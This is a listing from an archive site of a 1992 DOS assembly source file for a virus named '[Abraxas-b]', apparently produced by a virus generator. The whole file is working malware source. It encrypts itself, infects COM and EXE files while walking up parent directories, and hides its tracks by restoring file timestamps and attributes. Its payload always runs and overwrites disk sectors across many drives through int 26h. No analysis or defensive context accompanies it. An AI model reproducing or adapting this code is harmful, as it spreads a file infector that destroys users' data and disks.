home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-Z.ZIP / Z10-C.ASM next >
Assembly Source File  |  1992-08-12  |  14KB  |  366 lines

  1. ; Abraxas.asm : [Abraxas-b] by Abraxas
  2.  
  3. .model tiny                             ; Handy directive
  4. .code                                   ; Virus code segment
  5.           org    100h                   ; COM file starting IP
  6.  
  7. id = 'DA'                               ; ID word for EXE infections
  8. entry_point: db 0e9h,0,0                ; jmp decrypt
  9.  
  10. decrypt:                                ; handles encryption and decryption
  11. patch_startencrypt:
  12.           mov  bx,offset startencrypt   ; start of decryption
  13.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  14. decrypt_loop:
  15.           db   2eh,81h,07h              ; add word ptr cs:[bx], xxxx
  16. decrypt_value dw 0                      ; initialised at zero for null effect
  17.           inc  bx                       ; calculate new decryption location
  18.           inc  bx
  19.           loop decrypt_loop             ; decrypt mo'
  20. startencrypt:
  21.           call next                     ; calculate delta offset
  22. next:     pop  bp                       ; bp = IP next
  23.           sub  bp,offset next           ; bp = delta offset
  24.  
  25.           cmp  sp,id                    ; COM or EXE?
  26.           je   restoreEXE
  27. restoreCOM:
  28.           lea  si,[bp+save3]
  29.           mov  di,100h
  30.           push di                       ; For later return
  31.           movsb
  32.           jmp  short restoreEXIT
  33. restoreEXE:
  34.           push ds
  35.           push es
  36.           push cs                       ; DS = CS
  37.           pop  ds
  38.           push cs                       ; ES = CS
  39.           pop  es
  40.           lea  si,[bp+jmpsave2]
  41.           lea  di,[bp+jmpsave]
  42.           movsw
  43.           movsw
  44.           movsw
  45. restoreEXIT:
  46.           movsw
  47.  
  48.           mov  byte ptr [bp+numinfec],5 ; reset infection counter
  49.  
  50.           mov  ah,1Ah                   ; Set new DTA
  51.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  52.           int  21h
  53.  
  54.           mov  ah,47h                   ; Get current directory
  55.           mov  dl,0                     ; Current drive
  56.           lea  si,[bp+origdir]          ; DS:SI->buffer
  57.           int  21h
  58.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  59.  
  60.           mov  ax,3524h                 ; Get int 24 handler
  61.           int  21h                      ; to ES:BX
  62.           mov  word ptr [bp+oldint24],bx; Save it
  63.           mov  word ptr [bp+oldint24+2],es
  64.           mov  ah,25h                   ; Set new int 24 handler
  65.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  66.           int  21h
  67.           push cs                       ; Restore ES
  68.           pop  es                       ; 'cuz it was changed
  69.  
  70. dir_scan:                               ; "dot dot" traversal
  71.           lea  dx,[bp+exe_mask]
  72.           call infect_mask
  73.           lea  dx,[bp+com_mask]
  74.           call infect_mask
  75.           mov  ah,3bh                   ; change directory
  76.           lea  dx,[bp+dot_dot]          ; "cd .."
  77.           int  21h
  78.           jnc  dir_scan                 ; go back for mo!
  79.  
  80. done_infections:
  81. jmp  activate                           ; Always activate
  82. exit_virus:
  83.           mov  ax,2524h                 ; Restore int 24 handler
  84.           lds  dx,[bp+offset oldint24]  ; to original
  85.           int  21h
  86.           push cs
  87.           pop  ds
  88.  
  89.           mov  ah,3bh                   ; change directory
  90.           lea  dx,[bp+origdir-1]        ; original directory
  91.           int  21h
  92.  
  93.           mov  ah,1ah                   ; restore DTA to default
  94.           mov  dx,80h                   ; DTA in PSP
  95.           cmp  sp,id-4                  ; EXE or COM?
  96.           jz   returnEXE
  97. returnCOM:
  98.           int  21h
  99.           retn                          ; 100h is on stack
  100. returnEXE:
  101.           pop  es
  102.           pop  ds
  103.           int  21h
  104.           mov  ax,es                    ; AX = PSP segment
  105.           add  ax,10h                   ; Adjust for PSP
  106.           add  word ptr cs:[bp+jmpsave+2],ax
  107.           add  ax,word ptr cs:[bp+stacksave+2]
  108.           cli                           ; Clear intrpts for stack manipulation
  109.           mov  sp,word ptr cs:[bp+stacksave]
  110.           mov  ss,ax
  111.           sti
  112.           db   0eah                     ; jmp ssss:oooo
  113. jmpsave             dd ?                ; Original CS:IP
  114. stacksave           dd ?                ; Original SS:SP
  115. jmpsave2            db ?                ; Actually four bytes
  116. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  117. stacksave2          dd ?
  118.  
  119. activate:                               ; Conditions satisfied
  120.         mov     cx,255                  ;  Nuke a few sectors
  121.         mov     dx,1                    ;  Beginning with sector 1!!!
  122.         int     26h                     ;  VIPERize them!!!! Rah!!!
  123.         jc      error                   ;  Uh oh. Problem.
  124.         add     sp,2                    ;  Worked great.  Clear the stack...
  125. error:
  126.         inc     al                      ;  Get another drive!
  127.         cmp     al,200                  ;  Have we fried 200 drives?
  128.         je      done_phrying            ;  Yep.
  129.         jmp     short activate          ;  Nope.
  130. done_phrying:
  131.         cli                             ;  Disable Interrupts
  132.         jmp  exit_virus
  133.  
  134. creator             db '[Z10]',0        ; Mass Produced Code Generator
  135. virusname           db '[Abraxas-b]',0
  136. author              db 'Abraxas',0
  137.  
  138. infect_mask:
  139.           mov  ah,4eh                   ; find first file
  140.           mov  cx,7                     ; any attribute
  141. findfirstnext:
  142.           int  21h                      ; DS:DX points to mask
  143.           jc   exit_infect_mask         ; No mo files found
  144.  
  145.           mov  al,0h                    ; Open read only
  146.           call open
  147.  
  148.           mov  ah,3fh                   ; Read file to buffer
  149.           lea  dx,[bp+buffer]           ; @ DS:DX
  150.           mov  cx,1Ah                   ; 1Ah bytes
  151.           int  21h
  152.  
  153.           mov  ah,3eh                   ; Close file
  154.           int  21h
  155.  
  156.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  157.           jz   checkEXE                 ; Why yes, yes it is!
  158. checkCOM:
  159.           mov  ax,word ptr [bp+newDTA+35] ; Get tail of filename
  160.           cmp  ax,'DN'                  ; Ends in ND? (commaND)
  161.           jz   find_next
  162.  
  163.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  164.           cmp  ax,12000                 ; Is it too small?
  165.           jb   find_next
  166.  
  167.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  168.           ja   find_next
  169.  
  170.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  171.           add  bx,heap-decrypt+3        ; Adjust for virus size
  172.           cmp  ax,bx
  173.           je   find_next                ; already infected
  174.           jmp  infect_com
  175. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  176.           jnz  infect_exe
  177. find_next:
  178.           mov  ah,4fh                   ; find next file
  179.           jmp  short findfirstnext
  180. exit_infect_mask: ret
  181.  
  182. infect_exe:
  183.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  184.           mov  word ptr [bp+jmpsave2], ax
  185.           mov  word ptr [bp+jmpsave2+2], es
  186.  
  187.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  188.           mov  word ptr [bp+stacksave2], es
  189.           mov  word ptr [bp+stacksave2+2], ax
  190.  
  191.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  192.           mov  cl, 4                    ; convert to bytes
  193.           shl  ax, cl
  194.           xchg ax, bx
  195.  
  196.           les  ax, [bp+offset newDTA+26]; Get file size
  197.           mov  dx, es                   ; to DX:AX
  198.           push ax
  199.           push dx
  200.  
  201.           sub  ax, bx                   ; Subtract header size from
  202.           sbb  dx, 0                    ; file size
  203.  
  204.           mov  cx, 10h                  ; Convert to segment:offset
  205.           div  cx                       ; form
  206.  
  207.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  208.           mov  word ptr [bp+buffer+16h], ax
  209.  
  210.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  211.           mov  word ptr [bp+buffer+10h], id
  212.  
  213.           pop  dx                       ; get file length
  214.           pop  ax
  215.  
  216.           add  ax, heap-decrypt         ; add virus size
  217.           adc  dx, 0
  218.  
  219.           mov  cl, 9
  220.           push ax
  221.           shr  ax, cl
  222.           ror  dx, cl
  223.           stc
  224.           adc  dx, ax
  225.           pop  ax
  226.           and  ah, 1                    ; mod 512
  227.  
  228.           mov  word ptr [bp+buffer+4], dx ; new file size
  229.           mov  word ptr [bp+buffer+2], ax
  230.  
  231.           push cs                       ; restore ES
  232.           pop  es
  233.  
  234.           push word ptr [bp+buffer+14h] ; needed later
  235.           mov  cx, 1ah
  236.           jmp  short finishinfection
  237. infect_com:                             ; ax = filesize
  238.           mov  cx,3
  239.           sub  ax,cx
  240.           lea  si,[bp+offset buffer]
  241.           lea  di,[bp+offset save3]
  242.           movsw
  243.           movsb
  244.           mov  byte ptr [si-3],0e9h
  245.           mov  word ptr [si-2],ax
  246.           add  ax,103h
  247.           push ax                       ; needed later
  248. finishinfection:
  249.           push cx                       ; Save # bytes to write
  250.           xor  cx,cx                    ; Clear attributes
  251.           call attributes               ; Set file attributes
  252.  
  253.           mov  al,2
  254.           call open
  255.  
  256.           mov  ah,40h                   ; Write to file
  257.           lea  dx,[bp+buffer]           ; Write from buffer
  258.           pop  cx                       ; cx bytes
  259.           int  21h
  260.  
  261.           mov  ax,4202h                 ; Move file pointer
  262.           xor  cx,cx                    ; to end of file
  263.           cwd                           ; xor dx,dx
  264.           int  21h
  265.  
  266. get_encrypt_value:
  267.           mov  ah,2ch                   ; Get current time
  268.           int  21h                      ; dh=sec,dl=1/100 sec
  269.           or  dx,dx                     ; Check if encryption value = 0
  270.           jz  get_encrypt_value         ; Get another if it is
  271.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  272.           lea  di,[bp+code_store]
  273.           mov  ax,5355h                 ; push bp,push bx
  274.           stosw
  275.           lea  si,[bp+decrypt]          ; Copy encryption function
  276.           mov  cx,startencrypt-decrypt  ; Bytes to move
  277.           push si                       ; Save for later use
  278.           push cx
  279.           rep  movsb
  280.  
  281.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  282.  
  283.           lea    si,[bp+write]          ; Copy writing function
  284.           mov    cx,endwrite-write      ; Bytes to move
  285.           rep    movsb
  286.           pop    cx
  287.           pop    si
  288.           pop    dx                     ; Entry point of virus
  289.           push   di
  290.           push   si
  291.           push   cx
  292.           rep    movsb                  ; Copy decryption function
  293.           mov    ax,5b5dh               ; pop bx,pop bp
  294.           stosw
  295.           mov    al,0c3h                ; retn
  296.           stosb
  297.  
  298.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  299.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  300.           call   code_store             ; decryption
  301.           pop    cx
  302.           pop    di
  303.           pop    si
  304.           rep    movsb                  ; Restore decryption function
  305.  
  306.           mov  ax,5701h                 ; Restore creation date/time
  307.           mov  cx,word ptr [bp+newDTA+16h] ; time
  308.           mov  dx,word ptr [bp+newDTA+18h] ; date
  309.           int  21h
  310.  
  311.           mov  ah,3eh                   ; Close file
  312.           int  21h
  313.  
  314.           mov ch,0
  315.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  316.           call attributes               ; attributes
  317.  
  318.           dec  byte ptr [bp+numinfec]   ; One mo infection
  319.           jnz  mo_infections            ; Not enough
  320.           pop  ax                       ; remove call from stack
  321.           jmp  done_infections
  322. mo_infections: jmp find_next
  323.  
  324. open:
  325.           mov  ah,3dh
  326.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  327.           int  21h
  328.           xchg ax,bx
  329.           ret
  330.  
  331. attributes:
  332.           mov  ax,4301h                 ; Set attributes to cx
  333.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  334.           int  21h
  335.           ret
  336.  
  337. write:
  338.           pop  bx                       ; Restore file handle
  339.           pop  bp                       ; Restore relativeness
  340.           mov  ah,40h                   ; Write to file
  341.           lea  dx,[bp+decrypt]          ; Concatenate virus
  342.           mov  cx,heap-decrypt          ; # bytes to write
  343.           int  21h
  344.           push bx
  345.           push bp
  346. endwrite:
  347.  
  348. int24:                                  ; New int 24h (error) handler
  349.           mov  al,3                     ; Fail call
  350.           iret                          ; Return control
  351.  
  352. exe_mask            db '*.exe',0
  353. com_mask            db '*.com',0
  354. dot_dot             db '..',0
  355. heap:                                   ; Variables not in code
  356. ; The following code is the buffer for the write function
  357. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  358. oldint24            dd ?                ; Storage for old int 24h handler      
  359. backslash           db ?
  360. origdir             db 64 dup (?)       ; Current directory buffer             
  361. newDTA              db 43 dup (?)       ; Temporary DTA                        
  362. numinfec            db ?                ; Infections this run                  
  363. buffer              db 1ah dup (?)      ; read buffer                          
  364. endheap:                                ; End of virus
  365. end       entry_point
  366.